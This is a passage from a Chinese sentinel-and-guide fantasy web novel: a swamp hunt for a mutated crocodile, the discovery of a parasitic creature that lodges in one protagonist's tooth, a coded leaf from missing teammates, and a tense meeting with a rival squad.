他仍然站在原本的位置上,周遭遮掩不多,大刺刺地,生怕自己不能被看到一般。 手势之后,他回过头,只见闻璱站在远远的树上,隐藏在树叶里,如果不是弓铮皎视力过人,甚至未必看得到他。 二人目光遥遥交汇。 闻璱用唇语道:我呆在这里。 “静息”对于绝大多数哨兵来说,几乎等同于“屏息”,可以做到让呼吸声和心跳声几乎完全消失的程度。 但闻璱这个向导做不到,没有向导能做到这个地步,这是生理差异,所以为了防止被察觉到,闻璱站在稍远处的树上。 弓铮皎眨了眨眼睛,用手语比划:它的视力很差。 “它”当然是说任务目标奶油鳄,不同于自然界的寻常鳄鱼,它保留了一定自然鳄鱼的外形、能力和习性,但也因变异而引发了许多基因缺陷。 金峙试图参与进来:但它的感知很强。 弓铮皎没理他,仍然看着闻璱的方向。 某个瞬间,他的精神力似乎钻过叶片树枝的缝隙,牵上了另一根抽象的线。 通过标记,弓铮皎把精神体的一部分感知共享给了闻璱,或者说,他主动申请了“被接管”。 于是,闻璱听到阿咬的意识在问自己:动手吗? 他知道弓铮皎为什么此刻踌躇,因为顺利的是奶油鳄目前是负伤状态,比弓铮皎想像的更容易猎杀;但不顺利的是,并没有如他们猜测那样,感知到‘酸雨’的存在。 ‘酸雨’和奶油鳄之间可能存在某种关系,这是他们的推测,目前没有证据证实。 如果这是真的,至少‘酸雨’的移动路径多了一个参考因素,他们或许可以依靠这只奶油鳄来多次试验活捉‘酸雨’。 也意味着如果这是真的,现在就还不是杀死奶油鳄的时机。 闻璱沉吟片刻,还是缓缓点头。 他们得动手——因为金峙小队的不确定性其实不低,抛下金峙小队,他和弓铮皎行动起来其实更轻松。 得到闻璱的指令之后,弓铮皎转过头,很快地点了丛林中的几个方向,作出手势。 他点的方向都是金峙小队的哨兵们藏身之处,几人接到不同的指令,纷纷行动起来。 形成包围圈之后,弓铮皎突然一脚踩进沼泽里,似乎只是一时不留神行差踏错。 粘稠的水面晃动起来,终于,他们都感知到了潜伏在水中养伤的奶油鳄的气息。 异变突生,金峙小队下意识地想要靠近支持弓铮皎,毕竟一旦陷入沼泽,仅仅依靠自己总是难以脱身,更不用说水底还有一只高危污染生物。 巨蜥哨兵的行动最快,然而在她第一步还未落下之前,阿咬用尾巴把她的腿硬生生拔回了原位上。 弓铮皎再次做手势:静息。 他平静地迈出下一步,再次踩进沼泽里。 随着他说不上老实的动作,沼泽呼吸着,让他整个人缓缓下陷,转眼间已经漫过膝盖。 远处,闻璱坐在树枝上,拟态融合双眼,用小翼遮住了其中一只眼睛,清楚地看到了一切。 弓铮皎不会犯这种低级错误,这样做大概就是为了逼奶油鳄现形,以便让金峙小队能够动手。 不这样“轻举妄动”一下,僵持三天三夜,金峙小队可能都感知不到这只隐藏得很好的奶油鳄。 只是似乎有什么异常发生了。 那处沼泽似乎并不存在什么毒素或是腐蚀性,但不知为何,自从弓铮皎一脚踩进去,闻璱和他之间的连接也像水面那样波动起来,变得不再稳定。 闻璱从中感到很多复杂的想法:咦惹好脏、有点臭、怎么这么恶心,还有一句故意讨赏一般的“不许嫌弃我”。 作为安抚,闻璱则传达回温和的关切。 但与此同时,闻璱觉得粘稠的沼泽水彷佛真的顺着他们的精神链接,反重力地流淌到了自己脑袋里,又往呼吸道里灌。 冥冥之中,闻璱总有种彷佛有什么在脱离掌控的不安感,令他极度厌烦。 他强迫自己忽略那挥之不去的不适,下意识地摸了摸自己的喉咙。 然而当他触及喉咙的瞬间,猛地想到了什么。 那一瞬间,他清楚地感觉到自己的心跳乱了一拍,不是因为任何暧昧的心动、任何拟态融合带来的动物本能的危机感,更不是肾上腺素突然发力。 好奇怪,就像是有什么东西伸到了自己的脑袋里,对着大脑组织轻轻一电。 ——他脸色蓦然一变。 是‘酸雨’?! 巧也不巧,闻璱心乱的同时,恰好是奶油鳄浮出水面,对着弓铮皎张开利齿如荆棘密布的嘴。 鳄鱼的咬合力已经足够需要警惕,而奶油鳄这种生物之所以被如此起名,并不是因为它甜蜜如奶油,而是因为它一口下去能让精神体也如奶油般融化,这可是很严重的精神创伤。 弓铮皎当然要躲,但他身体在沼泽里,移动不那么轻易,就只能靠“外力”来让这一口偏移。 值得庆幸的是,奶油鳄的动作并没有那么敏捷,至少不如阿咬。 猛虎从天而降,一脚踩在奶油鳄头顶,巨力立刻让那只大嘴被砸得歪到一边去。 只是这番躲避的动作难免让弓铮皎又陷下去许多,沼泽水已然爬升到他腰际。 也在奶油鳄一口咬空翻滚着准备再次攻击时,弓铮皎命令道:“动手!” 话音落下,几个哨兵带着精神体从刁钻的角落里冲出来,按照指令纷纷攻击。 弓铮皎的战斗计画显然是不包括闻璱的。 一方面,闻璱无法隐蔽到能够完成这样的“偷袭”;另一方面,既然不是必须,弓铮皎就选择让闻璱和小黑离这种极高危的污染生物远些。 当然,也因为闻璱的战斗经验同样丰富,如果真的需要支持,不需要弓铮皎指挥,闻璱知道自己该干什么。 金峙小队招呼着奶油鳄,弓铮皎从中“打掩护”,以确保能够为一切意料之外的小误差兜底。 沼泽快要漫过弓铮皎的胸口,好在战斗也即将结束,奶油鳄被发狂惊豹都快要拖上岸了——弓铮皎觉得自己有点像游戏陪玩。 说到游戏陪玩……其实他很想体验一把在闻璱面前carry的那种爽,可惜闻璱似乎不太爱玩游戏。 正胡思乱想着,弓铮皎心念一动,猛地抬头。 他察觉到闻璱动了,羽翼掠过树叶的风声,紧接着,闻璱已经悬停在他头顶的半空中。 奶油鳄注意到这个不速之客,可惜此时此刻它已经没有攻击闻璱的余力,暴风般的攻势直击弱点,又有一只重若千钧的刃齿虎爪子一直按在脸上,奶油鳄连嘴都张不开。 它抵抗着,身体在沼泽里翻滚,弓铮皎连忙抿紧嘴唇。 但不知为何,惊豹始终没能让它的尾部离开沼泽。 闻璱说:“我看到它嘴里有东西……得让它张嘴。” 这要求不为难弓铮皎,但显然为难金峙小队。 金峙来不及操心闻璱的外形,立刻反驳:“太危险了!” 弓铮皎却说:“那你们走开。” “马上就要成功了,你——” 然后惊豹嗷呜一声,连同巨蜥、狼獾等其他精神体和哨兵本人们,一起被阿咬一尾巴招呼到了十几米开外。 奶油鳄抓住机会,立刻就要缩回沼泽,闻璱眼疾手快,或者说翅膀快——他俯冲下来,把翅膀当巴掌,看起来轻盈而美丽地裹着撕裂空气的声音——一翅膀把奶油鳄拍得翻了两圈,背朝地躺在岸边,翻不过身了。 金峙小队:“……” 弓铮皎也:“……” 他心道:就说闻璱一看就练过背了。 阿咬按住了奶油鳄的身体,闻璱兜住弓铮皎的肩膀,双翼搧动,用力把弓铮皎从沼泽里拔了出来。 弓铮皎身上脏,难免沾了些污渍到闻璱身上、羽毛上,一时叫弓铮皎吹胡子瞪眼。 闻璱反而顾不上操心那些,他吩咐阿咬撑开奶油鳄的嘴,上前往里看去,一脸认真,宛如一个求知欲旺盛的小孩在博物馆看展品。 弓铮皎凑上来问:“怎么了?” 他也学着闻璱往奶油鳄嘴里看,结果一低头两眼漆黑,被熏得差点背过去。 “你看不到吗?”闻璱说,“那就只有我能看到了。” “不对。”他突然抬头,看向草丛里满脸泥的秃鹫哨兵,“你也过来看看。” “啊?”秃鹫哨兵很想拒绝但不能,有些不情愿且紧张地靠近过来,颤抖着往奶油鳄嘴里看。 他们三个人扒着一只巨大的鳄鱼嘴巴看鳄鱼的食道,这画面怎么想怎么奇怪,还有几分虐杀动物的嫌疑——好在这世上没有污染生物保护法。 不过秃鹫哨兵一低头,顿时也愣住了。 靠自己的眼睛,秃鹫哨兵只能看到臭得熏眼睛的食道,但是通过秃鹫精神体的视力,他感知到,里面有奇怪的东西。 闻璱说:“是‘酸雨’,它寄生在奶油鳄的身体里,在它的……脊椎上?” 他说着,就把手往里面伸。 弓铮皎大惊失色:“慢着慢着!让我来——你告诉我在哪就行。” 他生怕这一掏出刺激到奶油鳄,万一出了什么意外让它猛然合上嘴,那可就坏了,毕竟控制它不咬合可比不张嘴要花的力大得多。 “那就一起。” 闻璱也不跟他多拉扯,抓着他的手,同样把自己的手也伸进去。 几乎整只手臂都探进去,在指尖所能触及的最深处,闻璱在奶油鳄的上腭摸到了一个柔软而湿润的东西。 显然不是奶油鳄口腔中的任何结构。 他捏了捏,果然一阵诡异的粘稠感从指尖传导进脑袋里。 弓铮皎也脸色一变:“是‘酸雨’的感觉。” 闻璱试图掐着那个柔软的部分把它拉出来,顿时,奶油鳄抽搐着身体乱甩,险些把秃鹫哨兵一个扫堂尾甩倒。 而闻璱也感觉到,那种触感似乎在渐渐消失。 是“频率”不同。 闻璱立刻反应过来,就像精神体所在的特殊波段一样,‘酸雨’也只有寄生在奶油鳄的脊椎上,才能够被自己的鸟类视觉所观测、触摸到。 如果寄生的条件是骨头,那它需要的难道是钙质? 不论如何,闻璱不敢轻举妄动地再把“酸雨”直接抽出来。 但他注意到,即便刚才,奶油鳄的尾巴尖端仍然浸在沼泽中。 即便刚才身体被翻滚、摆动,阵仗那么大,哪怕现在生命危在旦夕,它的尾巴也永远垂在沼泽里。 不像是有意识地这么做,倒像是被某种东西“固定”在了沼泽里。 闻璱把手抽出来,转身就要跳沼泽。 弓铮皎又拦了一把:“我来好了,水脏。” 他总是随着闻璱的视线紧紧跟随闻璱的思路,此时此刻,当然也清楚自己要做什么。 “如果是骨头的话,我的成功率比你高得多。”弓铮皎笑了一下。 他笑时虎牙总是很明显,阿咬也咆哮了一声,用手臂粗细的匕首牙蹭了蹭闻璱的肩膀。 “但是……”闻璱蹙眉。 “相信我。”弓铮皎撸开袖子,指了指自己的手臂,以前小黑在那里留下过牙印。 弓铮皎开玩笑道:“我当时还想纹个身来着,因为……”他凑到闻璱耳边,有点得意地小声说,“你的牙很小巧……哎,我想耍这个流氓好久了。” 第107章 我们得结合。 闻璱:“……” 他思前想后,把原本想要说的话咽了回去,生怕万一说出来让弓铮皎别扭地爽到。 最终吐出的只是一句很简单的:“小心。” 弓铮皎点了点头:“当然。” 其实这句叮嘱全无必要,不想死的人都会千般仔细万般小心,弓铮皎现在的求生欲也完全值得信任。 但有这样一句叮嘱,似乎平白给他身体里打了气,叫那双眼睛都变得明亮了半分。 闻璱伸手捧起他的脸,细细观察片刻,最终舔了一下他的眼皮。 这是弓铮皎脸上能找到的不多的干净局域了,闻璱思前想后,用弓铮皎之前曾经用过的那种“气味”狩猎法,加深了和弓铮皎之间标记的连接。 对此,弓铮皎心知肚明,不觉得有什么,但别人就不一定了。 金峙小队:?! 金峙本人:!!!!! 金峙怒吼一声:“你们!” 虽然他没立场说什么,但没人和他较劲,因为闻璱和弓铮皎都没顾上给他一个眼神。 弓铮皎绑好安全绳,接过闻璱从包里翻出来的护目镜和鼻夹,默默地沉进沼泽。 这沼泽不知道能沉到多深,至少弓铮皎在弓铮皎努力动作下,没过多久就整个人都陷了进去。 闻璱则捏着安全绳的另一端,余下的注意力都放在岸边阿咬的状态上。 按理说不该把这样的两件任务交给一个人做,既要闭气下沼泽检查情况,又要保持岸上的精神体继续压制奶油鳄,一心二用会让危险增加。 但精神体的状态能够反应哨兵的情况,又有安全绳和精神连接,闻璱才能勉强安心。 ……虽然也说不上很安心。 他总觉得胸口憋着一股气,不知该怎么说。 作为曾经的小队队长,也出于对自己能力的自信,闻璱在过往的任务中虽不好大喜功,但不能放心交给队友的任务他总是习惯留给自己,而他也确实成功地完成了迄今为止的每一次。 就像上一次和弓铮皎来污染区採样,他选择自己下水。 现在却不一样了。 闻璱默默感受着当下心里有些焦虑发烦的情绪,忍不住想:原来弓铮皎上次看自己下水是这种心情吗? 难怪上岸之后弓铮皎的反应那么活泼到有点神经了。 他想了想,又觉得自己做不到像弓铮皎那样——毕竟这是沼泽不是水,弓铮皎出来肯定连头发都被沼泽水糊住了,很难想像在这样的情况下伸手去抱…… 然而他低下头,发现自己手心其实已经有不少泥水的痕迹,是刚才把弓铮皎从沼泽里拔出来的时候沾上了,一直到刚才才发现。 阿咬似乎察觉到闻璱的情绪有波动,踩着奶油鳄的嘴过来,用脑袋拱了拱闻璱的后背。 通常情况下接下来的动作就是阿咬要舔自己了,闻璱连忙躲闪:“不行,脏。” 然后被阿咬带着倒刺的舌头刮了刮翅膀。 到这时,金峙小队才有人敢凑上来问问闻璱这副外表是怎么回事。 金峙有些拿不定主意:“这是拟态融合……吗?” 难为金峙这个文盲还知道这种公认仅存在于理论中的流派了,闻璱并不遮掩,大大方方地“嗯”了一声。 “怎么做到的?”金峙又拿出同样的态度,“教教我,教会我这个的话,你之前说的……” 巨蜥哨兵比金峙长教训快得多,提醒道:“队长,别再乱说话了!” 金峙悬崖勒马。 闻璱轻描淡写地瞥了两人一眼,还没来得及说话,就感觉腰间的安全神被抽动了一下。 他回头看阿咬的状态,只见它才刚把舌头从闻璱的羽翼上拔下来,就裹上了自己其中一颗牙,状态看起来还算正常。 倒是奶油鳄——不知从何时起,它似乎不再挣扎,让阿咬放在它脸上的爪子显出一种很没必要的感觉。 于是,闻璱拉住安全绳缓缓起飞。 弓铮皎果然满头满脸脏水地从沼泽里冒了出来。 冒头之后他调整身体,藉着岸边阿咬的尾巴爬上岸,没有再让闻璱伸手捞一次。 闻璱落地:“怎么样?” 弓铮皎接过金峙小队其他哨兵递过来的水冲淋自己,把脸冲得还算干净,才开口道:“很顺利,我们甚至可以直接离开。” “什么?” “到手了。”弓铮皎含糊地指了指自己的嘴。 “?”闻璱才反应过来他在说什么,一时间心里既有些惊讶,也有些无奈,“我是说你,没问题吧?” ‘酸雨’还能再捉,但弓铮皎如果出了问题,一切可就得不偿失。 弓铮皎又乐了,碍于嘴里似乎有东西不好张开,他只是哼哼着笑了两声:“没事,真的没事。” 他浑身湿漉漉,虽然用水冲淋干净了头、脸和手,但也仅限于这三个部位,身上还是脏兮兮的,甚至散发著微妙的气味——那是奶油鳄所制造的某种精神污染。 看起来实在很狼狈。 闻璱喉头柔软,心头也软,便满足弓铮皎的心愿,温声道:“你真的很厉害,但我关心你。” 果然这话一出,弓铮皎的头发都不滴水了。 只是那边金峙也一口气又没喘上来。 从包里翻出来换洗衣物递给弓铮皎之后,闻璱转身吩咐几人:“现在可以动手了,完成你们的任务。” 惊豹早已迫不及待,立刻扑上去,了结了这只污染生物的生命。 奶油鳄死后身体会在几个小时内开始融化,形成一片污染区,这种污染区通常是另一些污染生物诞生的巢xue,因此无论出于任何角度,几人都该立刻离开此地。 闻璱决定和金峙小队分头行动,因为还要和逄靥星、舒颖汇合。 金峙却道:“你应该和我一起走。你不是偷渡的吗?不和我一起的话……” 话没说完,被秃鹫哨兵怼了一肘子,顺带问道:“啥?闻璱他们是偷渡的?为嘛?” 金峙没理秃鹫哨兵,黑着脸改口:“和我们一起走,我还能帮你打打掩护,你遮掩着点,大家只会觉得我找了个野队向导。” 这话倒是有一定道理。 不仅如此,闻璱余光往身后一瞥,只见弓铮皎上岸之后,阿咬已在不知何时消失,恐怕现在以弓铮皎的情况,赶路也不是那么容易。 “我要全速赶路,还要去找我的其他队友,这样也没问题吗?”闻璱问。 “没有。”金峙斩钉截铁。 “都听你的。”这是花豹哨兵。 “这任务的功劳靠你们不少,积分却都归我们,如果现在我们说有问题,是不是也有点太那个了。”巨蜥哨兵挠了挠头。 闻璱也不推辞,颔首应下:“谢谢。” 金峙生硬道:“不用谢。” 几人纷纷调整好状态,弓铮皎也趁此机会带着背包和清水找了个地方简单地清洗、换衣,回来就一同启程。 金峙小队善于赶路的精神体不少,在精神体的帮助下,几人很快就重新回到了地图有显示的地区。 通信器显示状态在线,然而闻璱调整通信器试图联系逄靥星和舒颖,却一直得不到回覆。 茫茫污染区中,和失联队友想要汇合,实在不算容易。 而且,也就在这赶路的几个小时,弓铮皎的状态似乎也越来越恶化。 他一开始能够独立跟随队伍行进,后来捂着腮帮子不太情愿地骑上金峙的惊豹,再后来到现在,已然连正常的表情都维持不住。 小队在一区边缘停下脚步,在一个山洞里就地扎营,暂时等待闻璱决定下一步行动。 在离营地稍有些距离的林中,闻璱拉住弓铮皎:“张嘴让我看看。” 弓铮皎脸色有些苍白,眉头紧锁,但仍然强撑着对他道:“我没事。” 闻璱问:“你在无意识地散发哨兵气味,金峙他们都快受不了了,你知道吗?” 这种类似于向导素的哨兵气味严格来说是一种精神波动,对于向导来说并不明显,只是对于哨兵来说互相排斥。 弓铮皎对哨兵气味格外敏感,一向只会把自身的气味收敛得更好,通常只有他嫌弃别人的份,从没有过误伤其他哨兵的情况。 但现在,弓铮皎已经顾不上约束自己的状态了。 弓铮皎只好含糊道:“好吧,就是有点牙疼……” 他说话时不时捂着嘴就是张嘴幅度很小,闻璱忍无可忍,当即上手捏住弓铮皎的下颌:“你不长教训?” 闻璱的指尖在下颌拐角的骨头上轻轻敲了敲。 弓铮皎:“……” 他当然长教训,闻璱是个如何善于近身搏斗并精通卸下巴的人,这一点他简直吸菸刻肺。 于是,他只好勉强移开自己的手,乖乖让闻璱撬开他嘴巴。 似乎没有什么异常,就像牙疼的病竈也不一定是肉眼可以轻易看出的。 闻璱细细检查过一遍,才拟态融合双眼。 眼眸变为血红色的瞬间,闻璱瞳孔骤缩。 他看到确实有一个什么半透明的细长触手盘踞在弓铮皎的左上侧虎牙,但也只有一根触手,根部穿进牙齿,不是延伸向何方。 “这就是那种生物……”闻璱喃喃道,“它确实能穿透钙质寄生在骨骼上,但是它让你牙很痛,对吗?” 弓铮皎“嗯”了一声。 别的痛也就算了,弓铮皎忍受过好几年的精神痛,痛到甚至无法入睡,自认在忍痛上难有敌手——但现在偏偏是那种三叉神经痛式的牙痛,痛得弓铮皎感觉有什么玩意在电击自己的脑子。 闻璱便释放出向导素安抚弓铮皎,虽然于止痛帮助不大,但对弓铮皎由疼痛引发的焦躁情绪有立竿见影的缓解作用。 弓铮皎几乎是立刻眉头一松,下意识用舌头舔了舔闻璱指尖。 ——幸好刚才赶路的时候,闻璱也用清水和消毒湿巾清洁过自己的手了。 闻璱心里庆幸,没有拒绝弓铮皎,反而把指尖蹭到弓铮皎的右上侧虎牙尖尖上磨了磨。 毫无疑问这两颗虎牙可以很尖锐,但这取决于弓铮皎的意念,当他不想用来攻击时,比如现在,虎牙就圆润得像被打磨过的珠子。 闻璱垂眸吩咐:“别乱来。” 弓铮皎一脸不解,但还是乖乖让牙齿恢复原状。 然后,齿尖刺开闻璱的皮肤,轻松得像用刺开绸缎。 创口不算大,殷红的血珠流淌而出,转眼间就被弓铮皎用舌头迫不及待地刮走,这几乎是渴望食物的本能。 血液中的高浓度向导素极大程度上缓解了弓铮皎的状态,闻璱也趁此时机悄悄调整弓铮皎的五感。 很奇怪,痛觉的阀门似乎就这样被剥离了弓铮皎的身体,让闻璱一时间无从下手。 除非强制接管弓铮皎的意识,催眠对方的大脑放弃对疼痛神经的全部感知,但那又有些太过危险,预后也更加困难。 带着倒刺的舌头裹过指尖的伤口,十指连心,闻璱清晰地品味到一丝微痛。 和弓铮皎所承受的神经痛当然无法相比。 闻璱心里有些好笑地想到,他希望这个‘酸雨’生物不会带来什么沼泽里的细菌,否则弓铮皎这样舔来舔去,真是让本就不卫生的行为变得不卫生而且容易感染。 欲求渐渐被满足,弓铮皎回过神来,收回倒刺。 小伤口恢复得很快,没一会,就不再冒血了。 闻璱抽出手,认真道:“我想它很有可能寄宿在骨骼上,但能够在你的神经里游走,因此它占据了你的痛觉功能,让我无法调节。” 弓铮皎点了点头:“还能忍。” 虽然从他的行为上来看,忍得很难受就是了。 “现在有两个选择,第一,把它转移给我。”闻璱说。 弓铮皎立刻道:“没那么严重。” “如果真的没那么严重,你就答应了。”闻璱淡淡道。 “……话也不能这么说,也有可能,我只是觉得没必要。”弓铮皎心虚地移开视线。 “我知道你不会听话。”闻璱继续道,“所以还有第二个选择,我们得结合。” 弓铮皎:“啊???” 弓铮皎:“在这?” 很难说弓铮皎的眼里那一刻没有迸发狂喜。 然而他眨了眨眼睛,最终仍然说:“……我不想。” 第108章 小心人妖! 轮到闻璱眨了眨眼。 好几秒钟过去,闻璱才说:“什么?” 弓铮皎又重复了一遍:“我不想。” 闻璱震惊到不敢相信自己的耳朵。 他千想万想想破天也没想过,面对这个问题,弓铮皎竟然能如此冷静地说出“我不想”这三个字。 以至于他一时间都忘了下一句话该说什么,有些茫然地看着弓铮皎。 弓铮皎也看着闻璱,看闻璱微微瞪大的粉色眼瞳,还有轻轻颤抖的雪白眼睫。 后悔就像呼吸一样简单,弓铮皎几乎想立刻改口,就当刚才什么都没发生过。 可是邪恶的幻想在他心里窜来窜去,他还是说:“对不起。” 闻璱彷佛如梦方醒,还带着几分梦里的迷茫:“为什么?” 并不是因为闻璱自恋——实在是弓铮皎的诉求和企图都像白纸黑字一样,体现在弓铮皎从头到脚。 闻璱很确信,在自己提出这个说法之后,弓铮皎的第一反应是眼睛亮得快要发射激光。 但为什么说出口的话却是拒绝呢? 见闻璱有些怔住的模样,弓铮皎才后知后觉地反应过来自己的话造成了不太美妙的误会。 他连忙解释:“不,我不是那个意思——虽然确实是拒绝的意思,但并不是因为我不想,我其实很想——不对,也不能这么说……” “我只是不想这件事发生在现在,似乎情非得已,好像这是你救我的一种手段,好像如果你不这样迁就我,就会成为‘见死不救的人’,让你被道德绑架……”他手忙脚乱地比划着,语无伦次,“虽然我知道,你不会真的被绑架,但我就是……我就是不想让你现在做决定。” 一番话说下来,闻璱和弓铮皎都沉默了。 末了,弓铮皎又低声道:“其实我知道你不会勉强自己。” 闻璱很轻地点了点头:“我明白了。” 顿了顿,闻璱转而道:“那你只能再忍忍了,实在撑不住的时候,把它转移给我。” 弓铮皎“嗯”了一声,既庆幸于闻璱没有误会,也莫名地为这个话题的结束而感到一丝惋惜。 闻璱又道:“以我对你的了解,你一定会强撑。” “哈哈。”弓铮皎不好撒谎,只能干笑两声打马虎眼。 “所以我希望你明白一件事。”闻璱说着,抬手抚摸过弓铮皎的脸颊,“如果你非要强撑着,硬生生把自己熬痛死了,我也会很难过的。金峙如果在这种关头趁虚而入,我可不保证会为你守贞哦。” 弓铮皎:“……” “不过,你可能不是那么在意,对不对?”闻璱微微一笑,“你之前还说要替我以后的感情生活把把关,现在,你还没死就已经确认了人选,有没有感到安心?” 弓铮皎险些溺死在这格外温柔的笑意中。 然而话语太过炸裂,弓铮皎只觉得,蛇蝎美丽的毒夫和楚楚可怜的寡夫融合成了同一个形象。 毫无疑问,就是微笑的闻璱。 弓铮皎艰难道:“我知道了,我肯定不强撑。” 他完全明白这其实只是另一种另类的激将法,闻璱对金峙那种比自己还幼稚蠢笨的家夥心动不了一点——话虽如此,他不得不承认激将法虽然简单,但效果斐然。 闻璱满意地勾了勾唇角,点到为止,没有再多说什么。 按说弓铮皎的状态实在经不起多等,他需要尽快离开污染区,将这只从牙齿寄生进他神经里的‘酸雨’给拿出去。 但这就需要专业设备、专业人员和专业知识,很遗憾的是,到目前为止,闻璱所能 找到且信任的,举杯这三项技能的人,只有舒颖。 所以他们还是得先找到舒颖。 闻璱研究了片刻,大概推算出逄靥星和舒颖的行进路线,划出了两人可能会扎营布设监测仪的局域。 为了高效寻人,金峙小队也被分开重组,闻璱、弓铮皎、花豹哨兵和秃鹫哨兵一组依次前往这几个地区,剩下五人则按照金峙小队的原计画,离开污染区交任务。 金峙本人当然想要留在污染区继续当电灯泡,可惜交领任务必须要队长或副队长在场,他是唯一一个必须离开的人。 临走前,金峙几人把物资几乎全都留了下来,尤其是止痛药,反正全速离开的他们也不那么需要这些东西。 弓铮皎也不客气,不过止痛药吞了好几粒下去,已经达到了特种人用药量的极限,仍然完全不见效。 他总不可能走两步就喝两口闻璱的血,过量摄入向导素来转移注意力无异于饮鸩止渴,再多喝几次热潮期爆发,他可能会直接化身吸血鬼吸干闻璱。 于是,四个人里,花豹哨兵就只能让精神体硬顶着持续散发不友好压力的弓铮皎赶路,秃鹫哨兵命好些,他的精神体接替闻璱的巡逻探路职责,提高效率。 又花了几个小时,排查到倒数第二个可能营地时,终于有了发现。 没有见到逄靥星和舒颖本人,但装备散落一地,有扎营和布设监测仪的痕迹,但并无战斗痕迹。 看起来像是在扎营期间遭遇了什么突发事件,虽然没有打起来,但还是匆忙中撤离,以至于东西都没来得及收拾好。 麻烦的是,既不知道这两人是否安全,也无法按照常理来推测这两人的行进路线。 四人在周边仔细检查过一番,终于,闻璱从一处碎石堆里翻出来一片枯叶。 首先这枚叶片似乎是片新鲜的桑叶,但这周围树木不多,有也只是几颗孤零零的针叶;其次叶片色泽、形状都很正常,完全不符合污染区植物大多过分鲜艳或枯萎的特点。 他翻来翻去,沉思片刻,递给了小黑。 小黑张嘴咬了一口。 果然,咬过之后,除了牙印,一行被戳出来的摩斯码出现在叶片上。 闻璱默读道:意外,必须离开,小心人妖! 这是逄婆婆和张先生通信时曾使用过的精神力加密联系方式,算是拟态融合后的一种精神力妙用技巧。 可是拟态精神力其实已经是一种加密手段,实在不需要再用其它加密语言,且阅读摩斯码对于圣所毕业的特种人来说,堪称是入门级必修课,并不具备保密意义。 闻璱思索再三,觉得这或许是逄靥星的某种奇思妙想。 因为逄靥星在圣所这门课学得很好,且极善于灵机一动。 不仅如此,这个看起来被戳出来的痕迹,孔隙边缘隐隐焦黑,还很像是舒颖的精神体银环蛇用毒牙咬出来的。 闻璱端详片刻,确信这片叶上没有其它任何信息,才收入怀中。 他思索着,尽管还不明白逄靥星和舒颖是怎么学会这种技巧的,也不懂“小心人妖”到底是什么暗语,但这样一看,两人至少已经成功逃离了危险。 也意味着既然如此,闻璱可以赶快离开污染区了。 返回弓铮皎身边之后,闻璱把叶片递给弓铮皎。 弓铮皎已经在脸侧贴了好几篇退烧贴,冰得半张脸都快僵了,牙痛却仍然如跗骨之蛆,甚至变本加厉。 他接过叶片瞟了一眼,想笑又笑不出来,反而显得狰狞,口中含糊道:“什么人妖啊……” “我也不知道。”闻璱摇头,“但这样的话,我们也可以走了,再坚持一下。” 弓铮皎捏着自己的眉心,似乎想让表情不要那么吓人:“我没问题。” 话虽如此,闻璱清楚他绝不如说得那么“没问题。” 这一路上阿咬从未再出现过,弓铮皎甚至收回了精神力感知,哪怕这曾经对他来说比呼吸还要简单。 他的精神状态肉眼可见地越来越萎靡,看似是被挥之不去的疼痛折磨得,实则闻璱有些担心,这会不会是‘酸雨’生物带来的其它影响。 它曾经导致神经系统过度兴奋,乃至于心悸、窒息,进而令精神图景和精神体自救式地封闭或“隐身”。 宫董提供的那枚注射器也说明,摄入超过一定阈值,就会令哨兵陷入假性神游,到时候就适合进行移植手术,也就是说,催化剂能够通过过度消耗的方法来削弱弓铮皎的精神力。 虽然这一切只是推测,弓铮皎也尚且不至于到强弩之末,闻璱仍然担心拖得越久越可能造成永久性损伤。 闻璱只能招呼花豹哨兵和秃鹫哨兵回来立刻启程。 他难免急切。 因而,返程中,甚至在秃鹫哨兵探察到前方有其它小队时,闻璱缓缓道:“不管了,看到就被看到吧。” 已经浪费了很长时间在找逄靥星和舒颖上了,虽然这无法追究什么“早知如此”,闻璱多少还是有些烦心。 然而巧也不巧——他们是在几乎接近污染区边界局域的外区遭遇的这个“其它小队”。 而秃鹫哨兵借用精神体视觉的敏锐程度显然也不如能够拟态融合的闻璱。 在已然互相暴露的距离,秃鹫哨兵才说:“不好。” 花豹哨兵:“怎么了?” “呃,这个小队有点尴尬。”秃鹫哨兵看了一眼闻璱,“是彭枭他们。” 闻璱眉头陡然一沉。 确认对方身份的同时,彭枭小队也看到了这队风尘仆仆的不速之客。 雕鸮嘶鸣一声,从高空俯冲而来,直冲闻璱面门,好在半空中被秃鹫撞开,偏移了原定轨迹。 一击未成,却足够彭枭识别来人的身份——毕竟闻璱也没有太过掩饰。 “果然是你们。闻璱,别来无恙啊。” 彭枭小队主动迎了上来。 闻璱几人不得不停下脚步,但秃鹫哨兵和花豹哨兵还算懂事,二人不约而同地站在花豹两侧,挡住了弓铮皎的身形。 偷渡毕竟理亏,秃鹫哨兵主张息事宁人,花豹哨兵心里有气,却执行闻璱的指令,以尽快离开作为唯一目标,并不想在这里多生事端。 他俩都怕越来越低气压的弓铮皎控制不住,要在这里大打出手。 却不晓得弓铮皎本人才是最不想在此时此刻遭遇任何意外的。 闻璱上前半步,面上没什么表情,不冷不热道:“是你。” 彷佛不走到这个距离,他都认不出彭枭这个多年老队友一般。 彭枭果然被这反应激得青筋暴起。 他想过闻璱的表情,不太有可能是期待、懊悔,或许会是心虚、慌乱,但更有可能是极度的憎恨、厌恶。 这样也别有一番滋味,毕竟闻璱一向表情管理完美,很少露出这样极不友好礼貌的表情。 但他唯独没想过,闻璱会这样——没有任何波动。 以至于彭枭忽然悲从心来,张口便是一句质问:“干嘛这种表情,难道弓铮皎那么有钱都满足不了你吗?” 莫名其妙得彷佛有什么不堪回首过去一般。 第109章 他同意了。 闻璱不知道,彭枭确实有一段不堪回首的独角戏。 上次在病房被痛殴之后,彭枭实实在在昏睡了一段时间。 醒来之后,他得知父亲彭长空已经撸掉了他警卫队的挂职,自己后来又被转入疗愈中心接受治疗。 虽然没有被放进小黑屋,也着实受了好些苦。 身体上的苦暂且不说,最让彭枭心里苦的是,论坛上的风向逐渐不受他的掌控了。 最早的那篇帖子发出来起初,绝大多数的人都在向着彭枭说话,让彭枭心里还算有几份慰藉。 私下里他无数次偷笑,觉得闻璱这是搬起石头砸自己的脚……也不知道现在闻璱是不是在后悔,却拉不下来脸来跟自己道歉。 彭枭独自享受了这份快乐。 一直持续到把逄靥星也拉下水,瓜越来越戏剧化、精彩纷呈的同时,逐渐地,有人开始质疑彭枭,但仍然是少数派。 最大的转折居然是那篇大名鼎鼎的“梦男帖”。 彭枭当然也拜读了。 甚至在那帖子还无人问津时,彭枭就看过了——因为楼主“大猫骑士”把他本人的账号单独拎出来骂得最狠,也让彭枭顺藤摸瓜看到了大猫骑士在其他楼层发出的“CRUSH日记”链接。 